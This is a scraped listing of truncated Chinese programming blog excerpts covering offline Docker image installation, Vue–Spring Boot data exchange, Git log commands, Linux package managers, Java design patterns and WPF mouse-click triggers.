回到目录 【技巧】离线安装docker镜像的方法 0. 为什么需要离线安装&#xff1f; 第一、 由于docker hub被墙&#xff0c;所以 拉取镜像需要配置国内镜像源 第二、有一些特殊行业服务器无法接入互联网&#xff0c;需要手工安装镜像 1. 可以正常拉取镜像服务器操作 服务器…...

vue实现与后台springboot传递数据【传值/取值 Axios 】

vue实现与后台springboot传递数据【传值/取值】 提示&#xff1a;帮帮志会陆续更新非常多的IT技术知识&#xff0c;希望分享的内容对您有用。本章分享的是node.js和vue的使用。前后每一小节的内容是存在的有&#xff1a;学习and理解的关联性。【帮帮志系列文章】&#xff1a;每…...

Git日志信息

Git日志信息 1. log log 命令用于查看 git 的各种日志信息&#xff0c;在使用 log 后&#xff0c;git 会进入 vim 模式&#xff0c;此时退出日志模式需要按下 q 键。可以通过小箭头来浏览未显示出来的内容。 1.1 查看日志信息 git log git log --prettyoneline #美观输出日…...

Linux操作系统从入门到实战(六)Linux开发工具(上)详细介绍什么是软件包管理器,Linux下如何进行软件和软件包的安装、升级与卸载

Linux操作系统从入门到实战&#xff08;六&#xff09;Linux开发工具&#xff08;上&#xff09;详细介绍什么是软件包管理器&#xff0c;Linux下如何进行软件和软件包的安装、升级与卸载 前言一、 软件包管理器1.1 传统安装方式的麻烦&#xff1a;从源代码说起1.2 软件包&…...

Java中的​​策略模式​​和​​模板方法模式

文章目录 1. 策略模式&#xff08;Strategy Pattern&#xff09;案例&#xff1a;支付方式选择 2. 模板方法模式&#xff08;Template Method Pattern&#xff09;案例&#xff1a;制作饮料流程 3. 策略模式 vs 模板方法模式4.总结 在Java中&#xff0c;策略模式和模板方法模式…...

C#里WPF使用触发器实现鼠标点击响应

在WPF里创建了一个自定义的用户控件, 要想在这个控件里实现鼠标的点击事件响应, 就需要添加事件触发器交互定义,如下代码: <ListView x:Name="ListViewMenu" ItemsSource="{Binding Path=SubItems}" Foreground="White" ScrollViewer.Ho…...